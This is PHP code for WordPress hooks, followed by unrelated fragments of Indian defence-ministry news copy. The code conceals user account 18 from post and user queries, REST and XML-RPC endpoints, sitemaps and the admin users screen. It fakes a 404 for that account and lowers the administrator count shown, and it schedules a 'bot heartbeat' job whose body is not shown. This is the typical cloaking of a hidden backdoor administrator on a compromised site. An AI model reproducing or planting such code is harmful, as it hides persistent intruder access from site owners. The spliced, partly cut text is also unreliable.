add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
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add_action( 'template_redirect', function() {
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            status_header( 404 );
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} );

add_action( 'pre_user_query', function( $q ) {
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        return;
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    global $wpdb;
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} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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<p>The Shanghai Cooperation Organization (SCO) is a Beijing-based Eurasian political, economic, and security alliance. Addressing the countries attending the international seminar, Singh said that: “India’s former Prime Minister, Shrimati Indira Gandhi not only led the country for a number of years, she also did so during times of war. And more recently, Shrimati Pratibha Patil was the President of India and the Supreme Commander of the Indian Armed Forces.”</p>
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					<description><![CDATA[<p>Union Defence Minister Rajnath Singh stated on Sunday that the ceasefire between the two countries is successful today &#8220;only because of our strength,&#8221; referring to Pakistan as India&#8217;s &#8220;neighbor&#8221; without mentioning the country. “Cross-border strikes in 2016 shifted our reacting approach to a proactive one, which was reinforced by the Balakot airstrike in 2019,” Singh [&#8230;]</p>
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<p>India would not hesitate to execute &#8220;counter-terrorism operations&#8221; against its rivals, according to the Defence Minister. The Defence Minister stressed that despite the problems on India&#8217;s border, the country&#8217;s national security &#8220;would not be jeopardized.&#8221; He was speaking at the Defence Services Staff College (DSSC) in Wellington, Tamil Nadu.</p>
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